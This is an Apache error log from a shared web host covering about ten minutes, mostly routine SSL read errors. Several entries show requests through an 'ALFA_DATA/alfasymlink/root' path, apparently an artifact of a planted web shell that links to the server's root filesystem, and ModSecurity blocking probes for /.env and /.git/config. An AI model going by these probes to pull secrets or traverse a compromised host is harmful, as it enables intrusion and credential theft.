[Sat Oct 24 13:54:50.989984 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 3.212.205.90:33823] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:54:59.543136 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.225.45.252:48445] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:55:04.220577 2026] [ssl:error] [pid 2677842:tid 2677842] (70014)End of file found: [client 23.23.213.182:59482] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:55:07.244345 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 3.215.59.93:11835] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:55:19.394883 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 34.206.212.24:56493] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:55:22.396198 2026] [core:error] [pid 2677788:tid 2677788] (13)Permission denied: [client 185.191.171.5:12702] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-8/ctor
[Sat Oct 24 13:55:23.231870 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 3.230.69.161:3478] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:55:23.871497 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 185.191.171.7:42544] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:55:24.565496 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 185.191.171.7:42546] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:55:26.701478 2026] [core:error] [pid 2677793:tid 2677793] (13)Permission denied: [client 185.191.171.14:21966] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/biovec-128/object_size
[Sat Oct 24 13:55:27.397122 2026] [ssl:error] [pid 2677842:tid 2677842] (70014)End of file found: [client 23.23.214.190:19865] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:55:44.411638 2026] [ssl:error] [pid 2677785:tid 2677785] (70014)End of file found: [client 184.73.195.18:3037] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:55:47.469827 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 98.84.131.195:24261] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:55:51.234059 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 54.209.100.30:40775] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:55:59.381501 2026] [ssl:error] [pid 2677842:tid 2677842] (70014)End of file found: [client 52.54.249.218:55195] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:56:12.153150 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 185.191.171.18:60838] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:56:12.388133 2026] [ssl:error] [pid 2677785:tid 2677785] (70014)End of file found: [client 44.207.69.106:53466] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:56:15.242407 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 3.223.181.32:38482] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:56:27.298789 2026] [core:error] [pid 2677775:tid 2677775] (13)Permission denied: [client 52.54.95.127:26908] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty4/subsystem/tty0/subsystem/ttyS0/type
[Sat Oct 24 13:56:31.239584 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 44.205.74.196:34167] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:56:47.602460 2026] [core:error] [pid 2677786:tid 2677786] (13)Permission denied: [client 18.213.240.226:11715] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/PNP0B00:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/driver/bind
[Sat Oct 24 13:56:47.860632 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 85.208.96.201:31254] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6-frags/ctor
[Sat Oct 24 13:56:51.144616 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 98.82.63.147:31548] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:56:55.251297 2026] [ssl:error] [pid 2677842:tid 2677842] (70014)End of file found: [client 50.19.79.213:5011] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:56:59.339563 2026] [core:error] [pid 2678927:tid 2678927] (13)Permission denied: [client 3.219.80.71:21276] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty4/subsystem/tty0/subsystem/ttyS0/io_type
[Sat Oct 24 13:57:03.285842 2026] [core:error] [pid 2677788:tid 2677788] (13)Permission denied: [client 100.25.120.246:23915] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:05/subsystem/devices/device:02/wakeup/wakeup0/device/subsystem/drivers/battery/unbind
[Sat Oct 24 13:57:07.108984 2026] [core:error] [pid 2677785:tid 2677785] (13)Permission denied: [client 54.197.82.195:47259] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/physical_node/driver/unbind
[Sat Oct 24 13:57:11.294513 2026] [core:error] [pid 2677843:tid 2677843] (13)Permission denied: [client 44.197.76.210:9372] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/device:01/PNP0B00:00/physical_node/driver/00:00/subsystem/drivers_probe
[Sat Oct 24 13:57:12.835818 2026] [authz_core:error] [pid 2677786:tid 2677786] [client 170.231.237.214:48066] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 13:57:15.063210 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 23.23.103.31:53642] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:57:21.768526 2026] [security2:error] [pid 2677788:tid 2677788] [client 130.12.180.175:19254] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzxgWHlETSj29Thy_T64gAAAAM"]
[Sat Oct 24 13:57:21.768767 2026] [security2:error] [pid 2677788:tid 2677788] [client 130.12.180.175:19254] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzxgWHlETSj29Thy_T64gAAAAM"]
[Sat Oct 24 13:57:21.769073 2026] [security2:error] [pid 2677788:tid 2677788] [client 130.12.180.175:19254] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzxgWHlETSj29Thy_T64gAAAAM"]
[Sat Oct 24 13:57:32.233297 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 185.191.171.11:47296] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/aliases
[Sat Oct 24 13:57:35.019181 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 3.218.35.239:44781] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:57:39.559647 2026] [ssl:error] [pid 2677793:tid 2677793] (70014)End of file found: [client 54.83.180.239:21700] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:57:43.109033 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 44.218.170.184:38076] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:57:47.231305 2026] [ssl:error] [pid 2677785:tid 2677785] (70014)End of file found: [client 184.73.239.35:45629] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:57:55.057488 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 34.236.185.101:5625] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:57:59.001643 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 52.71.216.196:16266] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:58:02.648793 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 85.208.96.208:40948] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:58:03.156115 2026] [ssl:error] [pid 2677842:tid 2677842] (70014)End of file found: [client 44.218.170.184:12204] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:58:07.463392 2026] [core:error] [pid 2678927:tid 2678927] (13)Permission denied: [client 3.219.81.66:56268] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/ata_generic/bind
[Sat Oct 24 13:58:10.967081 2026] [ssl:error] [pid 2677793:tid 2677793] (70014)End of file found: [client 54.204.62.163:28603] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:58:15.077250 2026] [ssl:error] [pid 2677785:tid 2677785] (70014)End of file found: [client 34.231.77.232:35164] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:58:19.938055 2026] [ssl:error] [pid 2677773:tid 2677773] (70014)End of file found: [client 54.90.8.255:10472] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:58:23.960051 2026] [core:error] [pid 2677786:tid 2677786] (13)Permission denied: [client 52.45.77.169:45384] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory2/node0/memory3/node0/cpu0/firmware_node/subsystem/drivers/ac/uevent
[Sat Oct 24 13:58:30.932614 2026] [ssl:error] [pid 2677842:tid 2677842] (70014)End of file found: [client 52.207.47.227:14109] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:58:46.865464 2026] [ssl:error] [pid 2677773:tid 2677773] (70014)End of file found: [client 54.163.136.244:16686] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:58:50.787821 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 23.21.225.190:62365] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:58:54.752671 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 34.239.85.139:13685] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:59:02.624640 2026] [ssl:error] [pid 2677842:tid 2677842] (70014)End of file found: [client 3.215.59.93:23340] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:59:06.719875 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 52.70.209.13:52711] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:59:11.157782 2026] [ssl:error] [pid 2677793:tid 2677793] (70014)End of file found: [client 34.196.6.199:10736] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:59:14.678263 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 54.83.56.1:46117] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:59:22.751853 2026] [ssl:error] [pid 2677773:tid 2677773] (70014)End of file found: [client 50.16.216.166:7036] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:59:26.786536 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 3.231.193.38:57733] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:59:30.577139 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 34.204.150.196:8033] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:59:34.442778 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.224.215.150:63292] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:59:42.472433 2026] [ssl:error] [pid 2677793:tid 2677793] (70014)End of file found: [client 50.16.248.61:40456] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:59:45.293510 2026] [ssl:error] [pid 2677785:tid 2677785] (70014)End of file found: [client 85.208.96.195:44646] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:59:46.664127 2026] [core:error] [pid 2677773:tid 2677773] (13)Permission denied: [client 54.83.180.239:9647] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:03/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/driver/0000:00:03.0/remove
[Sat Oct 24 13:59:50.243708 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 44.193.102.198:5888] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:00:02.470823 2026] [core:error] [pid 2678927:tid 2678927] (13)Permission denied: [client 100.29.155.89:33753] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:03.0/subsystem/drivers/virtio-pci/0000:00:04.0/resource0
[Sat Oct 24 14:00:06.275877 2026] [ssl:error] [pid 2677793:tid 2677793] (70014)End of file found: [client 3.212.86.97:64810] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:00:10.192667 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 98.82.63.147:20316] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:00:14.309898 2026] [ssl:error] [pid 2677785:tid 2677785] (70014)End of file found: [client 34.227.156.153:15866] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:00:18.286277 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 52.203.68.145:50698] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:00:25.567281 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 185.191.171.11:63448] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/drm_kms_helper/sections/__ksymtab
[Sat Oct 24 14:00:26.364755 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 44.223.232.55:15614] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:00:34.184411 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 44.194.134.53:43034] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:00:46.201411 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 3.225.45.252:38358] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:00:46.643590 2026] [security2:error] [pid 2677776:tid 2677776] [client 104.23.239.54:9490] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "contacto.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzyTmZJIyiQiKFtr2-5EQAAABU"]
[Sat Oct 24 14:00:46.643924 2026] [security2:error] [pid 2677776:tid 2677776] [client 104.23.239.54:9490] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "contacto.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzyTmZJIyiQiKFtr2-5EQAAABU"]
[Sat Oct 24 14:00:46.644350 2026] [security2:error] [pid 2677776:tid 2677776] [client 104.23.239.54:9490] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "contacto.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzyTmZJIyiQiKFtr2-5EQAAABU"]
[Sat Oct 24 14:00:50.256163 2026] [ssl:error] [pid 2677842:tid 2677842] (70014)End of file found: [client 34.231.181.240:32879] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:00:58.212482 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 34.196.237.236:40917] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:01:02.350981 2026] [ssl:error] [pid 2677785:tid 2677785] (70014)End of file found: [client 54.159.98.248:21030] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:01:18.450343 2026] [ssl:error] [pid 2677842:tid 2677842] (70014)End of file found: [client 3.221.50.71:30746] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:01:19.640695 2026] [security2:error] [pid 2677776:tid 2677776] [client 130.12.180.167:35488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzyb2ZJIyiQiKFtr2-5EgAAABU"]
[Sat Oct 24 14:01:19.640934 2026] [security2:error] [pid 2677776:tid 2677776] [client 130.12.180.167:35488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzyb2ZJIyiQiKFtr2-5EgAAABU"]
[Sat Oct 24 14:01:19.641237 2026] [security2:error] [pid 2677776:tid 2677776] [client 130.12.180.167:35488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzyb2ZJIyiQiKFtr2-5EgAAABU"]
[Sat Oct 24 14:01:26.205864 2026] [ssl:error] [pid 2677793:tid 2677793] (70014)End of file found: [client 3.217.171.106:50881] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:01:32.322435 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 18.213.102.186:46313] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:01:34.352808 2026] [ssl:error] [pid 2677785:tid 2677785] (70014)End of file found: [client 44.218.170.184:37998] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:01:38.575802 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 44.221.105.234:47568] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:01:50.283218 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 35.169.240.53:23462] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:01:51.913942 2026] [core:error] [pid 2678927:tid 2678927] (13)Permission denied: [client 185.191.171.14:18584] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/PING/store_user
[Sat Oct 24 14:01:54.379479 2026] [core:error] [pid 2677788:tid 2677788] (13)Permission denied: [client 18.208.11.93:16991] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/PNP0A03:00/device:15/eject
[Sat Oct 24 14:01:58.245167 2026] [ssl:error] [pid 2677785:tid 2677785] (70014)End of file found: [client 44.209.187.99:50559] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:02:10.188471 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 52.4.213.199:32179] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:02:26.209107 2026] [core:error] [pid 2677793:tid 2677793] (13)Permission denied: [client 54.225.199.17:30525] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:16/subsystem/devices/ACPI0010:00/LNXCPU:00/physical_node/crash_notes_size
[Sat Oct 24 14:02:30.319094 2026] [ssl:error] [pid 2677785:tid 2677785] (70014)End of file found: [client 98.80.130.239:61235] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:02:34.183858 2026] [ssl:error] [pid 2677773:tid 2677773] (70014)End of file found: [client 98.82.40.168:65483] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:02:46.265460 2026] [ssl:error] [pid 2677842:tid 2677842] (70014)End of file found: [client 34.234.206.30:31640] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:02:58.228196 2026] [ssl:error] [pid 2677793:tid 2677793] (70014)End of file found: [client 44.221.105.234:55788] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:03:04.172639 2026] [authz_core:error] [pid 2677843:tid 2677843] [client 92.58.194.164:48992] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 14:03:06.250817 2026] [ssl:error] [pid 2677786:tid 2677786] (5)Input/output error: [client 52.204.37.237:4153] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:03:14.190061 2026] [ssl:error] [pid 2677842:tid 2677842] (70014)End of file found: [client 34.225.243.131:64856] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:03:18.265936 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 3.232.82.72:65228] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:03:37.711801 2026] [core:error] [pid 2677773:tid 2677773] (13)Permission denied: [client 85.208.96.195:42586] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_io_cq/alloc_calls
[Sat Oct 24 14:03:38.233331 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 44.194.139.149:30744] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:03:41.743676 2026] [core:error] [pid 2677786:tid 2677786] (13)Permission denied: [client 185.191.171.15:11800] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDP-Lite/aliases
[Sat Oct 24 14:03:50.440878 2026] [core:error] [pid 2678927:tid 2678927] (13)Permission denied: [client 54.197.82.195:61781] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty7/subsystem/ttyS1/device/tty/ttyS3/io_type
[Sat Oct 24 14:03:54.164637 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 100.29.155.89:3238] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:03:58.234022 2026] [ssl:error] [pid 2677793:tid 2677793] (70014)End of file found: [client 52.2.58.41:23702] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:04:10.223354 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 44.206.65.8:12700] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:04:14.497407 2026] [ssl:error] [pid 2677842:tid 2677842] (70014)End of file found: [client 3.223.181.32:28530] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:04:18.247663 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 54.84.169.196:32630] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:04:22.172644 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 52.71.218.25:45267] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:04:30.215942 2026] [ssl:error] [pid 2677785:tid 2677785] (70014)End of file found: [client 44.194.139.149:18578] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:04:30.356471 2026] [core:error] [pid 2677793:tid 2677793] (13)Permission denied: [client 185.191.171.16:45064] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_dir_entry/hwcache_align
[Sat Oct 24 14:04:31.605215 2026] [authz_core:error] [pid 2677773:tid 2677773] [client 94.154.43.185:53002] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 14:04:34.351192 2026] [core:error] [pid 2677843:tid 2677843] (13)Permission denied: [client 3.235.215.92:51659] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/ehci-pci/unbind
[Sat Oct 24 14:04:38.445206 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 54.197.102.71:55340] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:04:42.209456 2026] [ssl:error] [pid 2677842:tid 2677842] (70014)End of file found: [client 54.235.172.96:1177] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:04:42.467176 2026] [core:error] [pid 2678927:tid 2678927] (13)Permission denied: [client 185.191.171.6:29192] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_node/validate
[Sat Oct 24 14:04:46.228425 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 34.225.87.80:8992] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:04:50.262800 2026] [ssl:error] [pid 2677785:tid 2677785] (70014)End of file found: [client 44.212.131.50:9753] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:04:54.281150 2026] [core:error] [pid 2677843:tid 2677843] (13)Permission denied: [client 54.88.84.219:14522] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/ohci-pci/bind
[Sat Oct 24 14:04:58.233159 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 52.3.155.146:1100] AH02013: coalesce failed to read from data bucket
